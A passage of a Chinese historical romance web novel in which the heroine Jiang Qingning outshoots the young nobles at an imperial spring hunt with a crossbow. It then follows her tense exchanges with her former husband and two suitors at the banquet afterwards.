此话一出,在场的贵女们纷纷侧目,望着姜清宁的眼神之中带了几分的审视,更深的则是鄙夷的意味。 “我可听我父亲说了,这姜清宁最近可是非常得秦世子的喜欢,秦世子多次被她拒之门外呢,我瞧着她就是心机深沉,故意攀上了高枝儿才和离的。” “不过是一个成过亲的、生过孩子的老妇人罢了,也就能偏偏没有过通房侍妾的秦世子,世子光风霁月,早晚会看透她的本质,将人弃之如履。” 贵女们大多数都是因为这里英俊高大的男子们而来,一是如今太子陆乘即将选太子妃,二是秦国公夫人最近总是向儿子成过婚的好友打听,婆母都是需要做些什么来与儿媳和睦相处。 这让大家心中纷纷抱着期望,争取让秦国公夫人眼前一亮,看到自己的闪光点。 紫苏不忿地开口:“小姐,她们说的也太过分了,明明是秦世子对您紧追不舍,但怎的到了旁人的口中,就是您故意……引诱秦世子。” 姜清宁安静地坐在角落,并不在意这些言论,她的目光敏锐非常,穿透熙攘的人群,牢牢锁定在勋贵子弟聚集的骑射区。 一个身着玄色劲装、身姿挺拔如松的少年格外引人注目。 他的面容俊朗,眉宇间带着少年人特有的锐气与自信,举手投足间自有一股不凡的气度,正是和画上一般无二的人,奉国公嫡幼子、新科武状元林衡! “小姐看到他了?”紫苏没听到回答,循着姜清宁的视线看过去。 “竟然真的是他,和当初的那支箭矢一模一样!” 紫苏连忙躬身附在精确耳边,震惊不已地开口。 “稍安勿躁,待我们寻找机会,有的仇必须自己亲手报才有意思。” 姜清宁敛眸,心中筹谋着计策,再次抬眼望去。 林衡正轻松地呃调试着一张外观古朴、线条流畅的强弓,弓身似由眸中坚韧的异木制成,隐隐泛着幽光。 旁边侍从捧着的箭囊里,插着十几支尾羽雪白、箭簇寒光闪闪的特制箭矢。 周围几个同样年轻的勋贵子弟正围着他,言语间满是恭维与艳羡。 一位锦衣少年奉承道:“林小公爷,您这张破云弓据说有十石之力?我等便是拉开都费劲儿,您却能开弓如满月,当真是神勇啊!” 另一人附和:“是啊是啊,待会儿陛下考教,定要让那些不开眼的瞧一瞧,什么才是真正的箭术无双!” 林衡闻言,冷若冰霜的神情隐隐松动,嘴角微扬,带着少年人特有的矜傲。 他随手拿起一支箭,指尖拂过冰冷的箭簇,笑道:“陛下隆恩,自当尽力,只盼今日能猎得几头像样的猎物,不负陛下期许。 他的声音清朗,带着一种理所当然的自信,这副姿态落在姜清宁的眼中,却如同烈火烹油。 “小姐……”紫苏站在姜清宁的身后,看到了林衡的这副模样,声音带着一丝紧张和恐惧。 姜清宁抬手,示意她噤声。 她的目光冰冷如刀,紧紧盯着林衡手中的弓箭。 秦休走出贵妃的营帐,穿着与姜清宁同色的骑装与披风,目光不由自主地循着她的身影望过去,然而却发现她正痴痴地望着一处。 追随半晌,目光落在英姿飒爽的林衡身上,秦休的眸光沉了沉,目标明确地朝着姜清宁走过去。 “小姐,秦世子来了。” 紫苏注意到秦休的身影,连忙提醒姜清宁回神。 秦休走到姜清宁的面前,高大的身影遮挡住了她的所有视线,让姜清宁的眼眸中只能有自己的存在。 姜清宁回神,恰好抬头与他四目相对,眸光流转,一切都在不言而喻之中。 “秦大人,这皇家猎苑当真是与寻常的郊外不同,上次见到这么多的人,还是在幼时随着父母一同入宫参加年节。” 姜清宁眉眼含笑,语气之中充满了感激。 秦休盯着她,沉声问道:“姜清宁,你放才在看什么?” 姜清宁心弦紧绷,忍着开口的欲望道:“不过是被少年英才吸引了目光,想到我兄长从前的时候,他的箭术亦是继承了我父亲的真传,甚至青出于蓝而胜于蓝。” “当真?”秦休皱眉问道。 他方才明明从那双眸子里,看到一丝说不清道不明的情愫。 他绝不会看错,所有姜清宁再骗他。 秦休正欲追问,御帐方向传来内侍高亢的宣旨声:“陛下有旨——春狝开始!诸勋贵子弟们大可尽展所能!获猎最丰、猎物最珍贵者,陛下重重有赏!” “吾皇万岁万岁万万岁!”山呼海啸般的应和声响起。 勋贵子弟们纷纷翻身上马,呼喝着,带着各自的随从,如同离弦之箭般冲入广阔的猎场密林之中。 林衡一马当先,玄色身影迅速如风,瞬间没入林间,引来一片赞叹。 姜清宁循着声音,侧身张望,秦休望着她的动作,随着一起转身,将林衡离去的背影映入眼帘。 姜清宁心中焦急,但对上秦休转身望她时征询的模样,面上挂着牵强的笑意:“不知道秦国公府的世子,与奉国公府的林小公爷,哪个猎到的猎物最多?” 秦休心中涌出一片战斗意味,他沉眸询问:“姜清宁,你希望谁赢?” “当然是你……”姜清宁果断地回答,反应过来之后顿了顿,解释道,“我与秦大人的情分更深,自然是希望秦大人赢。” “秦休,整个围猎大会,我最希望是你赢。” 第八十章她的本领 送走志在必得的秦休,姜清宁缓缓站起身,拢了拢披风。 “紫苏,按计划行事。” “是,小姐。”紫苏重重的点头,眼中闪过一丝决然。 猎场内,马蹄声、呼喝声、猎犬吠叫声此起彼伏。 林衡凭借着过人的骑术,很快与其他人拉开了距离,深入一片相对僻静的山谷,他目光锐利地扫视着四周,寻找着值得他出手的猎物。 突然前方灌木丛一阵剧烈的晃动,一头体型壮硕、獠牙外露的成年野猪猛地窜了出来。 它双目赤红,带着狂暴的凶性,看到林衡这个叨扰它宁静的人,直直地朝着他冲撞了过来。 “好畜生!”林衡不惊反喜,他瞬间勒住缰绳,腿下的马匹受惊发出一声长嘶。 电光火石之间,林衡已经从箭囊中抽出一支白羽箭,动作行云流水,开弓、搭箭、瞄准、一气呵成。 弓弦瞬间被拉成满月,发出令人牙酸的绷紧声,他眼中精光爆射,锁定了野猪那脆弱的脖颈。 就在他手指即将松开弓弦的刹那。 “咻——!” 一道极其尖锐、带着独特破空厉啸的箭矢,从侧面密林深处,以不可思议的速度和刁钻的角度,后发先至。 这支箭的目标赫然是那头野猪的眼睛,其速度之快,角度之精准,时机之巧妙,简直骇人听闻。 林衡瞳孔骤然紧缩,他从未听过如此尖厉的箭啸,更让他心头巨震的是,这支箭的轨迹分明是军中顶尖斥候用于示警和精准猎杀的特殊手法! 林衡扣弦的手指下意识松开,他射出的白羽箭化作一道流光,直取野猪。 然而不远处的那支黑箭更快更狠,“噗嗤!”精准无比地射入了野猪的左眼,深入颅脑。 几乎同时。 “噗!” 林衡的箭也深深地贯入了野猪的脖颈。 全场最惨的野猪发出一声震天动地的惨嚎,庞大的身躯轰然倒地,抽搐几下便不动了。 林衡的箭虽然也致命,但显然那支神秘的黑箭,才是真正的致命一击,而且是在他林衡即将出手的瞬间抢先一步,完成了猎杀。 这无异于在他最引以为傲的领域,狠狠地扇了他一记耳光。 一股难以言喻的惊愕、羞怒和被挑衅的感觉涌上林衡心头,他猛地转头,目光如电射般向黑箭射来的方向。 密林深处,树影婆娑,一个纤细的身影骑在一匹通体漆黑的骏马上,缓缓走出阴影。 阳光透过枝叶的缝隙,斑驳地洒落在她的身上。 月白骑装,淡青披风,素净的容颜在光影中显得清冷而疏离,她的手中正握着一张造型奇特、通体黝黑、散发着森然寒气的劲弩。 劲弩上一支同样黝黑,闪烁着致命幽光的弩箭已然上弦,冰冷的箭簇在阳光下折射出一点刺目的寒星,正稳稳地、毫无偏差地对准了马上的林衡。 时间仿佛在这一刻凝固。 风声鸟鸣远处的喧嚣似乎都消失了,整个山谷只剩下两人两马。 林衡浑身的肌肉瞬间紧绷,如同蓄势待发的猎豹,死死地盯着面前的这个女子,盯着她手中那柄造型诡异、威力惊人的劲弩,尤其是劲弩上那支对准自己心口的黝黑弩箭。 一股前所未有的被死亡锁定的寒意,瞬间从脚底窜上头顶,这绝非普通贵女。 “你是谁?”林衡的声音带着难以置信的惊诧,以及一丝不易察觉的紧绷,他从未见过如此的女子,也从未感受到如此纯粹冰冷的杀意。 姜清宁端坐在马上,黑亮的眼眸如同寒潭深渊,清晰地倒映着林衡惊怒交加的脸庞、 她的声音不高,却清晰地穿透了两人之间不算远的距离,每一个字都如同冰珠砸在玉盘,带着无情的冰冷: “林小公爷,箭术果然……名不虚传。” 姜清宁的嘴角缓缓勾起,是一个近乎残忍的弧度,握着弩弓的手稳如磐石,丝毫不像是一个深宅夫人应有的模样。 况且深宅妇人更不会身着骑装,独自深入这密林。 “你要做什么?可知道我是谁?”林衡声音紧绷,喉头滚动,带着探寻的追问。 “奉国公的嫡子,自然是知道的。” 姜清宁轻笑一声,那笑声极淡,却像冰锥刮过琉璃,激得林衡心尖猛地一颤,她低垂的眉眼遮去了眸底翻涌的情绪,只余下拒人千里的冰冷疏离。 姜清宁握着劲弩的手臂稳得没有一丝颤抖,在这窒息般的对峙中,林衡全身的感官都被眼前这柄致命的弩箭带动着,丝毫未曾察觉身后那篇浓密的灌木丛里,细微的异动正在悄然发生。 电光火石之间,一条通体暗褐色、鳞片在斑驳光线下闪烁着油腻冷光的毒蛇,悄无声息地昂起了三角形的头颅。 “咻——!” 令人头皮发麻的独特厉啸再次撕裂空气,这一次比猎杀野猪时更近、更急、更加刺耳,林衡甚至来不及做出任何反应,只觉得右耳廓猛地一凉,一股锐利的气流如同冰冷的刀锋,紧贴着他的皮肤擦过。 林衡甚至能清晰地嗅到箭矢高速摩擦空气带起的,那一丝淡淡硝石与金属混合的凛冽气味。 噗嗤! 一声沉闷短促的入肉声自身后响起。 林衡悚然回头。 只见离他马匹后蹄不足三寸的草地上,一条足有小二臂膀粗壮的毒蛇,被一支黝黑的弩箭死死钉穿头颅,被牢牢地钉入地面。 林衡背后冷汗直冒,毫无征兆地浸湿了他内里的衣衫,黏腻冰冷的贴在后背。 若非这一箭……他可能早已经毒发身亡。 林衡猛然地转回头,目光死死地盯在马背上那个依旧端坐如松的身影上,此刻她手中的劲弩正缓缓垂下,不再指向他。 “你……”林衡嗓音干涩的厉害,带着劫后余生的沙哑和一种难以言喻的复杂情绪。 姜清宁清冷的目光掠过地上垂死挣扎的毒蛇,又落灰林衡那张交织着惊怒与余悸的俊朗面容上,眼底深处是一丝冰冷的嘲弄飞快闪过,快得让人无法捕捉。 她语调平平,听不出丝毫波澜:“看来小公爷的运气,比你引以为傲的箭术更胜一筹。” 第八十一章脸色难看的男人 姜清宁没有再多看林衡一眼,手腕一翻,劲弩没入披风之后。 她轻轻一抖缰绳,身下那匹通体漆黑的骏马打了个响鼻,迈开矫健的步子,载着她从容不迫地绕过僵立的林衡和地上的两具尸体。 “你是谁?”林衡望着她的动作,回神忍不住开口询问。 “姜清宁,一个深宅妇人。” 姜清宁嗤笑一声,双腿一夹马腹,骏马跑起来,径直朝着山谷外猎场喧嚣的方向而去。 淡青色的披风在她的身后划出一道冷冽的弧线,很快便隐没在层叠的树影之中。 原地只剩下林衡,山谷的风吹过,卷起几片落叶,带着野猪的血腥气扑在他的脸上。 林衡回神,慢慢弯下腰带着一种梦游般不真实的感觉,手指触摸到那冰冷的黑色箭杆,只见传来金属特有的寒意,以及箭杆上那凹痕清晰的触感。 一种前所未有的探究欲和眸中被强烈波动的心弦,在他的胸腔里疯狂滋生缠绕。 “姜清宁……好一个深宅夫人。”林衡低声念出这个名字,仿佛要将它嚼碎了咽下去。 姜清宁清冷的容颜、稳如磐石握弩的手、冰冷刺骨的声音、还有那支擦着他耳际,救了他一命的黑箭……所有的画面在他的脑海中反复冲撞。 他猛地直起身,翻身上马,狠狠一夹马腹,朝着姜清宁消失的方向追去,烈马嘶鸣,踏碎一地的死寂和血腥,只余下那句带着复杂的低语,在山谷的风中飘散: “好一个‘深宅妇人’……” 猎场高台,喧嚣鼎沸。 金黄的龙旗在风中猎猎作响,高台上九五之尊陆氏皇帝身着明黄骑装,虽已年过五旬,眉宇间却依旧透着久居上位的锐利与威严。 秦贵妃身着华丽的宫装站立在他的身侧,容色明艳照人,一双与秦休有几分相似的凤眸顾盼生辉,此刻正噙着得体的笑意,目光时不时地扫过台下。 秦国公府狮子秦休一身利落的月白色劲装,身姿挺拔如松,抱臂立在台侧,神情冷冽,眼神如鹰隼一般,扫视着陆续返回呈上猎物的各家子弟。 荀臣作为朝堂正四品的官员,一身绯色官袍,坐在稍下首的位置,面色沉静如水,只是握着酒杯的手指关节微微有些发白。 “报——!镇北将军府二公子,猎地成年雄鹿一头,花狐三只!” “报——!武安侯府世子,猎地狍子两头,野兔十数!” “报——!宁远伯府三公子……” 内室尖细的唱喏声此起彼伏,记录着每一位归来的年轻俊彦的收获。 猎物在台下堆积起来,引来阵阵惊叹和议论。 秦休的猎物最稳丰厚,几头健硕的獐子,一头体型不小的野猪,甚至还有一只罕见的红狐,引得高台上的秦贵妃笑意更深,皇帝也微微颔首。 “好!不愧是秦国公的儿子!”皇帝龙颜大悦,引得秦贵妃更加开心,秦休则是躬身道谢。 荀臣的目光在堆积的猎物上掠过,最终落在那只被秦休猎获的野猪上,獠牙粗壮,脖颈处只有一道深深的刀口。 他端起酒杯抿了一口,辛辣的酒液滑入喉中,缺牙不下心底的那一丝莫名不安,他下意识地看向猎场入口的方向,那个纤细的身影却始终未曾出现。 “一介深宅妇人,竟然自大地前去参与狩猎,当真是可笑至极。”荀臣低声嗤笑,仿佛极为不看好姜清宁的实力。 就在唱喏声渐歇,众人都以为大局已定,只等皇帝评定名次之时,一阵清脆而富有节奏的马蹄声由远及近,清晰地敲碎了喧闹声。 嗒、嗒、嗒…… 所有人的目光,不约而同地被吸引过去。 身着月白色骑装的女子骑着漆黑乌雅马,缓缓步入众人视野,阳光慷慨地洒落在她的身上,勾勒出她纤细却挺拔的身姿,她的脸上沾染了些许尘土,几缕碎发被汗水濡湿在光洁的额角,非但不显狼狈,反而平添了几分勃勃英气。 秦休最先愣住,负手而立的手不由得缓缓松开,无意识地垂落在身体两侧,他所有的光都汇聚在一处,让他久久的无法回神。 “快看她的身后!开什么玩笑!” “怎么可能,她明明只是一个深宅女子,怎么可能会这么厉害?!” “她竟然猎杀了这头这么巨大的野猪!” “快看那尖的位置!我的老天,这准头……” 姜清宁的马匹之后,是引人注目的场景,数位侍从费力地拖拽着巨大的猎物——一头壮硕如小山的成年野猪,那野猪面目狰狞,一支白羽箭深深贯入脖颈,而更令人触目惊心的是那精准无比的洞穿它一只眼窝,深入脑髓只余下小半截箭杆在外的黑羽箭。 “嘶——!” 全场瞬间响起一片倒吸冷气的声音。 “如此巨大的野猪,单是猎杀便已极难,更遑论是以如此精准到令人胆寒的方式,射穿眼窝直贯颅脑?这需要何等惊人的胆识判断与箭术!” 死寂只持续了一瞬,随即爆发出更大的哗然。 无数道目光瞬间聚焦在那个高坐马背、神色平静无波的女子身上。 震惊、难以置信、探究、疑惑……种种复杂情绪如同实质般交织。 高台上,秦休身后的随从青之上前快速地低声说着什么,秦休的眉头越蹙越深。 荀臣手中的酒杯‘哐当’一声失手跌落在面前的小几上,琥珀色的酒液泼洒出来,迅速浸透了他绯色官袍的下摆。 面对这样明显的错失,荀臣却浑然未觉,只是死死地盯着姜清宁,盯着她马后那头巨大的野猪,盯着那支刺眼的黑箭,脸色在瞬间变得极为难看,被狠狠愚弄的愠怒在他的眼中激烈翻腾。 姜清宁何时……有了这样的本事?! 在荀臣的印象里,姜清宁只是那个在后院安静读书,整日只知道惹母亲生气,连马都骑不好的柔弱妻子,相识相知二十多年他竟然从未见过这样的姜清宁! 一股强烈的、被蒙蔽的寒意攫住了荀臣。 第八十二章暗流涌动 女眷席位,姜清晞惊得差点从绣墩上跳起来,她死死地捂住嘴,才没有失态地尖叫出声。 她看着姐姐异常冷静甚至有些陌生的脸,心中浮现起难以置信的震惊,怪不得父兄母亲一直不相信阿姐出事,即便见不到阿姐也多是难过。 原来阿姐竟然有这么厉害的本领!姜清晞双眼发亮,仰慕至极地紧紧盯着姜清宁。 高台之上,秦贵妃美眸流转,目光在姜清宁和弟弟秦休之间微妙的转了一圈,敏锐地捕捉到秦休眼中那份不同寻常的专注和凝重。 再联想到母亲秦国公夫人前些日子进宫时,那意有所指的言语,心中顿时了然,她红唇微启,声音带着恰到好处的惊叹与欣赏:“陛下,臣妾瞧着这位姜小姐,当真是巾帼不让须眉,如此勇武不凡,实乃我朝女子之典范!” 她笑盈盈地看向皇帝,“臣妾瞧着,这猎场的魁首,怕是要另有其人了?” 秦贵妃心中对于姜清宁的手段喜爱非常,加之她还是弟弟的心上人,连母亲都亲自去合过八字的,人生在世不过是快活一场,自然不介意属于秦休的魁首让给自家弟妹。 皇帝眼中也爆发出强烈的惊异和浓厚的兴趣,他的身体微微前倾,目光灼灼的落在姜清宁的身上:“姜姓?难道是……姜卿之女?” 经过贵妃的暗示,皇帝认出了姜清宁的身份,怪不得身上如此不凡,原来是镇守岭南的姜大将军之女,这等人的儿女又怎会是无名之辈。 “正是,陛下难不成都忘记当年的事情了?”秦贵妃怪嗔道,伸手握住皇帝的手,轻轻地晃了晃,“您当年可还是亲自给姜清宁和安平伯指了婚事呢,可惜安平伯……委实辜负了陛下的心意,将姜清宁逼了出去另立门户,好好的女子……倒是可怜。” 皇帝从来都见不得贵妃这幅模样,心疼地反握住她的手。 “朕不是不嘉奖她,只是印象中这女子似乎并非如此锋芒毕露,如今爱妃一说朕便明白了,看来当年还是朕做错了。” 秦贵妃柔软地轻哼一声:“那陛下还不快快奖赏,反正臣妾是对她有好感极了。” 皇帝闻言,抚须大笑:“爱妃所言极是!如此悍勇的射杀猪王,实乃今日猎场头功,当赏!” 他大手一挥:“内室监!把朕那顶新得的南海火珊瑚冠取来!” 姜清宁和秦贵妃对视上,后者轻轻点头示意,她颔首,翻身下马,目标明确地走到高台之下。 “臣女姜清宁,拜见皇上,拜见贵妃娘娘。” “免礼,请起吧,姜卿之女如此英武,朕和贵妃定然是要好好奖赏你的。”皇帝龙颜大悦。 姜清宁应声起身,垂在两侧的拳头微微缩紧,皇帝就像是什么都没发生过一样,明明她的父兄就是因为他的最终下令,才会明面上被调往岭南实则贬值。 在姜清宁的思考间,内室捧上一个紫檀木托盘,盘内锦缎之上,静静躺着一顶以整块极品火珊瑚精雕而成的冠视。 那珊瑚赤红如血,光泽流动,形态宛若燃烧的火焰,在阳光下熠熠生辉,华美绝伦又带着一股凛然的炽烈之气。 内侍尖细的声音响彻全场:“姜氏清宁,箭术超群,勇冠猎场,特赐南海火珊瑚冠,以示嘉奖!” 无数道目光瞬间变得灼热无比,羡慕、嫉妒、惊叹交织成一片,这顶珊瑚冠的价值尚在其次,他所代表的圣眷和荣耀,足以让任何人心动。 姜清宁在万众瞩目中,姿态从容地再次跪下,声音清越平静,听不出半分激动:“臣女姜清宁,谢陛下隆恩,陛下万岁万岁万万岁!” 当那顶炽烈如火、象征着无上荣耀的珊瑚冠,被内侍小心地戴在她乌黑的发髻上时,沉重的分量压下来,那抹刺目的红映衬着她清冷如雪的容颜,形成一种惊心动魄的对比。 无数人嫉妒不已,但他们却无法说出任何反驳的话,因为姜清宁不仅仅是靠着猎物的强大庞大取胜,她在数量上也远超众人。 林衡不知何时已悄然返回,隐没在人群边缘,他抱着双臂依靠在一棵老树上,目光沉沉地锁着已经被喊到台上叙话的光华夺目的身影。 另一侧,荀臣的脸色在珊瑚冠的红光映照下,阴沉得几乎能滴出水来,他看着那个曾经属于他的、如今却变得如此陌生又耀眼的女人,她夺走了所有属于男人的荣耀。 一股强烈的荒谬感和被彻底背叛的怒火在他胸中疯狂灼烧,他猛地抓起桌上另一个酒杯,仰头狠狠灌下,辛辣的酒液也无法浇熄心头的烈焰。 猎场在一片喧嚣中落幕,皇家赐下的庆功宴设在行宫开阔的琼林苑中。 华灯初上,丝竹管弦悠扬悦耳,珍馐美馔流水般呈上,觥筹交错间,是掩饰不住的暗流涌动。 “瞧她这幅模样,我倒要看看她能够撑多久。” “呵,不过是想哗众取宠的手段罢了,或许人家在秦世子面前就是这副模样,只不过不屑于在咱们面前展现罢了。” 姜清宁端坐在席间,神情依旧是那副拒人千里之外的清冷,她啜饮着杯中温热的清茶,对那些探究的目光视若无睹。 紫苏垂首侍立在她的身后,眼观鼻,鼻观心,只是偶尔扫过那些目光是,眼底深处会掠过一丝不易察觉的冷厉。 “不用守在我的身边,盯着晞儿,不要让她乱跑。”姜清宁侧身叮嘱。 紫苏忙应了声,后退几步到后桌坐得心烦,刚想起身的姜清晞身旁,冷静地叮嘱:“二小姐,大小姐让您不要起身。” 姜清晞望着姜清宁清冷的背影,委屈的撅了噘嘴,而后乖巧地落座回去。 “知道了,我会听阿姐的话的。” 这段时间姜清宁的表现,已经让她彻底地放下心来,和家人一样对阿姐充满信任,加上前些时日被紧闭的痛苦令她老老实实地安静下来。 一道玄色的身影带着不容忽视的存在感,径直穿过衣香鬓影,停在姜清宁的席前。 高大的身影投下阴影,瞬间笼罩了她。 第八十三章破防的男人们 是秦休。 姜清宁微愣,看到他有些心中想要逃避,她只是带着明确的目标暗示这人,结果就被带来了皇家猎苑。 在此之前,她甚至用身体柔弱骗过秦休,对方送了好些药材入府,还进了晞儿的肚子里。 “秦大人。”姜清宁眼中的深思消失,转而变成无限的笑意。 秦休用深沉的,带着强烈审视意味的目光,居高临下的站在她的面前,强大的威压让姜清宁心虚不已。 玄色劲装勾勒出宽肩窄腰的挺拔轮廓,周身散发着一种无形的压迫感,周围的谈笑声仿佛都因为他的到来而低了几分。 “姜小姐。”秦休的声音低沉,带着一种刻意压制的沙哑,打破了两人之间的沉默。 秦休目光如炬,紧紧锁着姜清宁的眼睛,仿佛要穿透她平静的表象,直抵她的灵魂深处。 “今日这猎场头筹,赢得漂亮。”他顿了顿,俯身靠近,用只有两人能够听清的音量,一字一句道:“只是,藏得如此之深,连我都一并瞒着……姜清宁,你究竟还有多少惊喜,是我不知道的?” 秦休靠得极近,温热的气息带着淡淡的酒意,拂过姜清宁的耳廓。 这是一种极具侵略性的姿态,带着秦国公世子惯有的强势和此刻被隐瞒而生的愠怒,周围的空气仿佛都因他的逼近二凝滞了。 姜清宁握着茶杯的手指微微一顿,杯沿触碰唇瓣的动作停了下来,她缓缓抬眸,迎上秦休那双深不见底,此刻翻涌着复杂情绪的眼眸。 那里面有探究,有被欺骗的不悦,有对她今日展现锋芒的惊艳,甚至……还有一丝连他自己都未察觉的,被强烈吸引的占有欲。 姜清宁眼中没有丝毫慌乱,只有一片沉静,她放下茶杯,瓷杯底座与案几发出轻微而清脆的碰撞声,她微微后仰,拉开了两人之间过劲的距离,动作自然而疏离。 “秦大人过誉了。”姜清宁的声音依旧清冷,如同山涧幽泉,听不出情绪起伏,“雕虫小技,不足挂齿,至于惊喜……” 她唇角极其轻微地向上牵了一下,那弧度极淡,却像冰面上掠过的一丝冷光,带着某种难以言语的距离感。 “大人言重了,清宁从前不过一介夫人,如今更是深闺之中的女子,所会不过些许从前幼时学的些许自保之术,何谈‘藏’之一字?又何敢谈‘瞒’大人?” 四目相对,一个目光灼灼,带着穿透性的力量,一个眼神清冷,如同深不见底的寒潭,无声的气场在两人之间激烈碰撞拉扯。 秦休盯着她足足数息,那目光锐利的几乎要将她洞穿,最终他低低的哼笑了一声,笑声意味不明,带着几分挫败,几分不甘,还有更深的占有欲作祟。 “自保之术?”秦休重复一遍,尾音上扬,带着玩味,“好一个自保之术,姜清宁,你今日这出自保,可真是保得惊天动地。” 姜清宁垂眸,深知今日秦休生气的举动,是因为她把自己推到了世人的眼前,往后无论做什么都会被无数的人看着,同时也会危险许多。 她沉声道:“我知晓你的顾虑,但我无怨无悔。” “好一个无怨无悔。” 秦休直起身,那股迫人的压力稍减,但眼神依旧牢牢地锁着她,仿佛再重新评估一件失而复得、却变得面目全非的珍宝。 “很好,这惊喜,我无福消受,姜大小姐还请自个儿庆祝吧。” 话音落下,他深深的看了一眼姜清宁,眼神复杂难言,最终转身,玄色的身影重新没入光影交错的人群之中。 紫苏心中诧异,望着秦休怒气冲冲离开的背影,有些担忧地看着姜清宁的方向,他们骗了秦世子,秦世子生气难过都是应当的。 姜清宁目送秦休离开,端起茶杯,指腹感受着杯壁温热的触感,垂下的眼睫遮住了眸底一闪而过的光芒。 秦休的表现,在她的猜测意料之中。 很快,又一个阴影落在面前,带着浓烈的、无法压抑的情绪,在秦休离开不久后,便出现在了席前。 荀臣显然饮了不少酒水,绯色的官袍领口微微敞开,素来沉稳儒雅的脸上此刻泛着不正常的潮红,眼神也有些许迷蒙,但那深处却燃烧着一种近乎偏执的火焰。 他直直地盯着姜清宁,或者说,是盯着她案几上那顶刺目的珊瑚冠,呼吸略显粗重。 “清宁……”荀臣开口,声音带着酒后的沙哑,和一丝不易察觉的颤抖。 “别这样喊我,怪恶心的。”姜清宁嘴角的弧度抹平,带着深深的厌恶, 荀臣踉跄着上前一步,双手撑在姜清宁面前的案几上,身体前倾,带着浓重的酒气扑面而来。 “你告诉我……那箭术……你是何时学的?为何我……我竟然丝毫不知?” 他的语气充满了难以置信的困惑,还有被彻底懵逼的痛楚,眼神紧紧地攫住她,仿佛要从她的脸上找出,哪怕一丝一毫的熟悉痕迹。 姜清宁在他靠近的瞬间,眉头便几不可察地蹙了一下, 她厌恶这种被酒气和失控情绪裹胁的靠近,更厌恶荀臣此刻这副仿佛遭受了巨大背叛的姿态,她的身体微微后撤,避开了那令人不适的气息。 “荀大人,不,安平伯。”她开口,声音比方才更冷,清晰地划清界限,“请注意仪态,猎场骑射,不过是闲暇消遣罢了,不值一提。” “安平伯公务繁忙,不知晓这些微末小事,在正常不过,何须介怀?” “微末小事?”荀臣像是被这个词刺痛了,猛地提高了声音,引得附近几桌的人纷纷侧目。 他脸上的潮红更甚,眼中血丝浮现,带着一种受伤之际的情绪。 “那是能射杀猪王,夺得皇上亲赐珊瑚冠的箭术,那是……那是足以让整个京城为之侧目的本事!你告诉我这是微末小事?” “姜清宁,你看看我,你告诉我,你嫁入荀家的这几年,每日在后院究竟在做些什么?!” 第八十四章巧合 荀臣激动之下,似乎想要伸手去抓姜清宁的手臂。 就在他的手指即将触碰到姜清宁袖口的刹那,一道身影更快地插入两人之间。 是林衡。 他不知何时已悄然接近,此刻正站在荀臣身侧,一手看似随意却力道十足地按在了荀臣伸出的手臂上。 姜清晞眉眼错愕,几乎是顷刻间就认出了这人,似乎是差点杀了她的人,心中的怒火翻涌而出。 紫苏蹲下给她倒下热茶,声音含笑却蕴含着提醒道:“二小姐,别忘记大小姐的话,今日吃好喝好但是不许……” 姜清晞听着紫苏的话,几乎是瞬间就僵住了,而后老老实实的端起桌上的热茶,小口的啜饮着。 “嗯,好茶……” 紫苏含笑颔首,起身站在姜清晞的身旁,目光担忧地看向前方的姜清宁身上,大小姐的面前现在站着姜家大方两位小姐的仇人。 “荀大人。”林衡的声音不高,却带着一种世家子弟特有的、浸入骨子里的从容和一丝不易察觉的冷意,“酒意上头,难免失态,姜大小姐今日受到陛下嘉奖,正是荣耀之时,大人这般举止,是否恐有不妥?” 他望着荀臣的眼睛里没有任何的温度,荀臣的手臂被林衡牢牢按住,力道之大让他动弹不得,他豁然转头怒视着林衡,酒气上涌眼中怒火交织。 “林小公爷这是何意,我与清宁说话,与你何干?” 林衡在方才已经找人打听了姜清宁的身世,现在恰巧直到她和荀臣的关系,脸上的笑意突然就加深了几分,眼神却越发锐利。 “荀大人此言差矣,君子不立于危墙之下,更不饶人清净。” 他目光转向一旁端坐不动、神色清冷的姜清宁,语气瞬间变得温和,甚至带上了一丝若有所悟的关切。 “姜大小姐方才可受惊了?这琼林苑精致不错,那边临水的回廊倒是清净,可愿移步一观?” 姜清宁的目光在林衡按着荀臣手臂的手上掠过,又落回林衡那张带着玩味笑意的脸上,她自然明白他的解围并非全然好意,这同样是一种宣告和试探。 可谁让她,对林衡的性命,也在进行着一种,特殊的宣告与试探呢。 她缓缓站起身,无视了荀臣那几乎要喷火的目光,对着林衡微微颔首,声音平静无波:“多谢小公爷美意,清宁的确有些乏了,正向寻个清净处透透气。” 她甚至没有再看荀臣一眼,对着紫苏示意了一下,便径直转身,朝着林衡所指的水边回廊的方向走去,姿态从容,仿佛只是拂去了一片微不足道的落叶。 林衡看着姜清宁清冷的背影,这才慢慢松开了钳制着荀臣的手,对着脸色铁青、胸膛剧烈起伏的荀臣,露出一个近乎挑衅的笑容: “荀大人,酒还是少饮些为妙,失陪了。”说完,他不再理会荀臣那几乎要杀人的目光,转身不疾不徐的,朝着姜清宁离开的方向跟了上去。 荀臣孤零零地站在原地,看着那一前一后消失的身影,只觉得一股腥甜直冲喉头,巨大的屈辱和愤怒几乎要将他撕碎。 他猛地抓起旁边案几上的一壶酒,仰头狠狠灌下,辛辣的液体呛得他剧烈咳嗽起来,眼角都咳出了泪花。 周围或同情、或嘲讽、或看热闹的目光,如同芒刺在背。 “安平伯这是后悔了吧,想当初姜清宁为他侍奉老母,生儿育女,却换不来一丝的真心,如今人家得到了皇上的嘉奖,却反过来贴着脸上前,当真是活该!” “我看他就是活该!现在遭受的一切都是报应!照着画娶了个妻子,结果也是个狠毒的容不下妾室的,安平伯府可有的热闹了!” “谁说不是呢,当初把正室的妻子逼得要和离,现如今看到姜清宁箭术超群,得到皇上亲自恩赏的珊瑚冠,便开始后悔起来,早干嘛去了?” 在场的都是成婚的夫人,远比如今在闺阁中,只知道比拼的贵女们知晓实情的要多得多,纷纷对姜清宁心疼不已,对荀臣厌恶至极。 自从安平伯老夫人开始张罗荀臣的第二春的时候,她们便对自己的嫡女庶女严防死守,争取一个女人都不让荀臣占到便宜。 现如今在她们看来,这都是荀臣赤裸裸应得的报应。 “姜清宁……”荀臣咳喘着,死死攥紧了酒壶,指节捏得发白,眼神怨毒的如同淬了毒针。 他切切实实地把周遭妇人们的话听在耳中,可却是只敢装作不懂的模样,因为这里的每一位贵妇人的家室都不凡,都不是他们安平伯府能够轻松地惹得起的。 …… 水边的回廊曲折蜿蜒,宫灯的光芒倒映在平静的池水中,碎成点点摇曳的金星,将夜色染上几分朦胧的诗意。 丝竹宴饮的喧闹被层层叠叠的花木阻隔,显得遥远而模糊。 姜清宁并未走远,只在水边一处延伸出的小观景台停驻,夜风带着池水的微凉气息拂过面颊,稍稍驱散了宴席间的灼热。 